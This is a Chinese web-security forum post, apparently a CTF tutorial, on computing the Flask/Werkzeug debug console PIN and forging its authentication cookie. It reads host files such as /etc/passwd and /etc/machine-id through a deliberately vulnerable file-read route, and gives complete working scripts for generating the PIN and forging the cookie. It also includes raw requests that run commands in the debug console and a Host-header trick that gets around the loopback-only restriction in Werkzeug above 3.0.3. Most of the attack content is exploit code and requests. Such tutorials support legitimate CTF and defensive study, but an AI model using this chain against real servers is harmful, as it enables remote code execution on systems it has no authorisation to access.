新版flask pin码计算
1052606174783332 发表于 山东 WEB安全 591浏览 · 2024-10-29 02:46

Python debug pin码计算

需开启debug

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

/console路由填入上方控制台的 PIN 码即可执行 Python 命令

Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。

werkzeug 低版本使用 MD5,高版本使用 SHA1
werkzeug1.0.x 低版本
werkzeug2.1.x 高版本 一般是python3.8以上在用

pin码主要由六个参数构成

probably_public_bits

  1. username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
  2. appname:getattr(app, "__name__", app.__class__.__name__),固定值,默认是 Flask
  3. modname:getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是 flask.app
  4. moddir:getattr(mod, "__file__", None),即 app.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits

  1. uuid:str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39 \=> 95529701177
  2. machine_id:get_machine_id(),首先读取 /etc/machine-id(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id

两个版本的pin码计算脚本

(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

(werkzeug>\=2.0.x)

import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
    'root',  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]

# 私有信息部分
private_bits = [
    '2485377568585',  # /sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    # machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

计算cookie

流程

当我们无法获取返回的cookie,也无法使用/console进入debug的控制台的时候就需要我们手算cookie了

起一个docker看一下发pin码然后执行命令的流程

坑点:大于**Werkzeug==3.0.3 版本仅支持回环地址127.0.0.1访问/console**(记住,后面要考)

我们install Werkzeug==3.0.1版本

###app.py
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    return "Hello World"

@app.route("/read", methods=["GET"])
def read_file():
    file_path = request.args.get("path")
    try:
        with open(file_path, "r") as f:
            content = f.read()
        return content
    except Exception :
        raise FileNotFoundError

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)


###Dockerfile
# 使用 Python 3.8 作为基础镜像
FROM python:3.8

# 设置工作目录
WORKDIR /app

# 复制当前目录的内容到工作目录中
COPY . .

# 安装 Flask
RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple flask Werkzeug==3.0.1

# 暴露 Flask 运行的端口
EXPOSE 5000

# 运行 Flask 应用
CMD ["python", "app.py"]
###docker-compose.yml
version: '3.8'  # 使用的 docker-compose 文件版本

services:
  flask-app:  # 服务名称
    build: .  # 使用当前目录下的 Dockerfile 构建镜像
    ports:
      - "5000:5000"  # 映射端口
    environment:
      - FLASK_ENV=development  # 设置 Flask 环境变量为开发模式

提交pin码时的请求

GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1

可以看到这里和s有关

提交正确的pin码后

会返回

{"auth": true, "exhausted": false}

并设置cookie

Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/;

之后执行命令时需带着这个cookie才可执行

注意这里的请求多了frm即frame当前帧

GET /console?&__debugger__=yes&cmd=print(%27mixian%27)&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1

总结一下就是Werkzeug会根据s创建cookie用于认证成功提交pin码,然后才可以执行带着frm和cookie的执行命令的请求

所以我们先看一下s怎么获取,访问console路由看源码就行,或者搞一个报错,源码里也有

然后是获取frm,报错后

如果这里没有的话frm就是0

先是get_pin_and_cookie_name函数这里看看cookie的名字

# This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

cookie_name直接提供6个参数跑出来就行了,没什么好说的

这个注释有点小丑了(bushi)

接下来看cookie的值,找到pin_auth函数

if auth:
            rv.set_cookie(
                self.pin_cookie_name,
                f"{int(time.time())}|{hash_pin(pin)}",
                httponly=True,
                samesite="Strict",
                secure=request.is_secure,

值为int(time.time())}|{hash_pin(pin)

然后是check_pin_trust函数

return (time.time() - PIN_TIME) < int(ts)这里返回true才能完成认证

PIN_TIME是60*60*24*7,ts是我们|前填入的值,要大于time.time()+606024*7

import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()*2+60 * 60 * 24 * 7)}|{hash_pin('598-725-733')}")

验证

先拿六个参数

报错拿到moddir

读uuid,转十进制

然后跑脚本

import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
    'root',  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]

# 私有信息部分
private_bits = [
    '90520745872463',  # /sys/class/net/eth0/address 十进制
    '2cfa1ac3-65ab-40ca-a689-714b6a05061047c05f4928028e22cb883a4a0fd380fb692238ab88cbfbf116c0f55a4ef65fc3'
    # machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:"+cookie_name)

# 生成 pin 码
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print("pin码:"+rv)

拿到

拿s

拿cookie的值

import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")

Werkzeug>3.0.3版本

高于3.0.3版本,仅支持回环地址或localhost

正常访问/console会返回400

Host改为回环地址或者localhost就可以访问了

正常执行命令

SHCTF[Week3] 顰

还是老样子拿参数

这里/proc/self/cgroup为空那就不填它

得到:

cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626
cookie_name值为:1729699932|271328319d5c
s为H3MgUZaZR6tUl3oBAB3b

版本为3.0.4大于3.0.3只能回环地址访问

带上cookie用回环地址访问/console

0 条评论
某人
表情
可输入 255